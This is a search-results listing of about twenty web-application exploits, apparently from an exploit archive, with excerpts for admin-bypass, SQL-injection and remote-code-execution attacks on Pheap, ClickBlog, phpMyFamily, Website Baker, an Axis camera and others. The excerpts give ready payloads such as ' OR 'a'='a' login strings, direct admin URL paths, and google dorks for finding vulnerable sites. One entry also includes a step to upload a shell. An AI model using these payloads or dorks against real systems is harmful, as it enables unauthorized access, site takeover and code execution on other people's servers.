340 matches found
Pheap 2.0 Admin Bypass / Remote Code Execution Exploit
Exploit for unknown platform in category web applications ====================================================== Pheap 2.0 Admin Bypass / Remote Code Execution Exploit ====================================================== !/usr/bin/php -q -d shortopentag=on ?php / Explanation: The user...
Pheap 2.0 - Authentication Bypass Remote Code Execution
Pheap 2.0 - Authentication Bypass Remote Code Execution !/usr/bin/php -q -d shortopentag=on ?php / Explanation: The user verification routine used in most of the files is: include"lib/config.php"; if $COOKIE'pheaplogin' != $username header"Location: login.php"; else CONTINUE EXECUTING CODE So...
efriends-admin.txt
!/usr/bin/php -q -d shortopentag=on Thanks to rgod for the php code and Marty for the Love "; if $argc 126 $result...
Archangel Weblog 0.90.02 Local File Inclusion / Admin Bypass Vulns
No description provided by source. \|/// \ - - // @ @ ----oOOo---oOOo-------------------------------------------------- Portal : Archangel Weblog version 0.90.02 Home : http://www.archangelmgt.com/weblog.shtml Download : http://www.archangelmgt.com/ArchangelWeblogv09002.zip Author : Dj7xpl /...
Archangel Weblog 0.90.02 Local File Inclusion / Admin Bypass Vulns
Exploit for unknown platform in category web applications ================================================================== Archangel Weblog 0.90.02 Local File Inclusion / Admin Bypass Vulns ================================================================== \|/// \ - - // @ @...
ClickBlog! <= v2.0 (default.asp) Admin ByPASS SQL Injection
ENGLISH Title : ClickBlog! = v2.0 default.asp Admin ByPASS SQL Injection Author : ajann Exploit; //Before join login page http://target/path/default.asp Username : ' or ' Password : ' or ' and Login Ok ajann,Turkey...
Complain Center v1(loginprocess.asp) Admin ByPASS SQL Injection
ENGLISH Title : Complain Center v1loginprocess.asp Admin ByPASS SQL Injection Author : ajann Exploit; CODE loginprocess.asp: .. ... dim varUser dim varPass varUser=Request.Form"TxtUser" No Secure : varPass=Request.Form"TxtPass" No Secure : .. ... //Before join login page...
clickblog20.txt
ENGLISH Title : ClickBlog! = v2.0 default.asp Admin ByPASS SQL Injection Author : ajann Exploit; //Before join login page http://target/path/default.asp Username : ' or ' Password : ' or ' and Login Ok ajann,Turkey...
ccv1.txt
ENGLISH Title : Complain Center v1loginprocess.asp Admin ByPASS SQL Injection Author : ajann Exploit; CODE loginprocess.asp: .. ... dim varUser dim varPass varUser=Request.Form"TxtUser" No Secure : varPass=Request.Form"TxtPass" No Secure : .. ... //Before join login page...
Eskolar CMS 0.9.0.0 - Blind SQL Injection
================================================================================================== !/usr/bin/perl use IO::Socket; ==================================================================================================...
Planetnews Authecnication Admin ByPass
SOFTWARE: =========== again Planetc : Planetnews http://www.planetc.de DESCRIPTION: ============ google dork = planetnews filetype:php last path add to "admin/planetnews.php" edit or add to news, and upload your shell example; http://www.site.com/news/admin/planetnews.php Credits:AlpEren and tugr...
Simple PHP Poll Authecnication Admin ByPass
Simple PHP Poll http://www.cgixp.tk/ DESCRIPTION: ============ google dork = "Poewred By: Simple PHP Poll" and "Powered By: Simple PHP Poll" administrator login path /polladmin.php login to default admin pass "administrator" or add to ; ?action=edit&filename=question.txtquestions page...
phpjobboard Authecnical admin byPass
SOFTWARE ========== phpjobboard DESCRIPTION: ============ job board administration bypass, and edit or add to new job. example http://target/phpjobboard or your path/admin.php?menu=job&adminop=job-edit&id=item id ============================================ greets...
philbookmark.txt
From: [email protected] Subject: Phil's Bookmark script admin By-pass google dork : "Phil's Bookmark" and lasth path add to "admin.php?edit=item id" example: www.site.com/bookmarks/admin.php?edit=1 www.ayyildiz.org...
JiRos Banner Experience 1.0 (Create Admin Bypass) Remote Exploit
Exploit for unknown platform in category web applications ================================================================ JiRos Banner Experience 1.0 Create Admin Bypass Remote Exploit ================================================================ Jiros Banner Experience Pro Unauthorized Admin...
wbaker_260_xpl.txt
Website Baker Login bypass - remote code execution software: site: http://www.websitebaker.org/2/home/ description: "Website Baker 2, the Open Source Content Management System designed to enable users to produce websites with ease." if magicquotesgpc off you can bypass admin login check and grant...
TowerBlog Admin Bypass
The remote host is running TowerBlog, a single-user content management system, written in PHP. Due to design error, an attacker may be granted administrative privileges by requesting the page SPDX-FileCopyrightText: 2005 Noam Rathaus Some text descriptions might be excerpted from a referenced...
phpMyFamily <= 1.4.0 Admin Bypass SQL Injection
Exploit for unknown platform in category web applications =============================================== phpMyFamily = 1.4.0 Admin Bypass SQL Injection =============================================== Tested with version 1.2.5 /str0ke Login as admin without pass: Login: "' OR 'a'='a' AND...
phpMyFamily <= 1.4.0 Admin Bypass SQL Injection
No description provided by source. Tested with version 1.2.5 /str0ke Login as admin without pass: Login: "' OR 'a'='a' AND admin='Y'/" without quotes Password: empty milw0rm.com 2005-03-21...
CVE-2003-0240
CVE-2003-0240 describes an Axis Network Camera vulnerability where authentication to the admin interface can be bypassed by requesting http://camera-ip//admin/admin.shtml (double slash). This allows remote attackers to bypass restrictions and modify configuration, potentially enabling root access...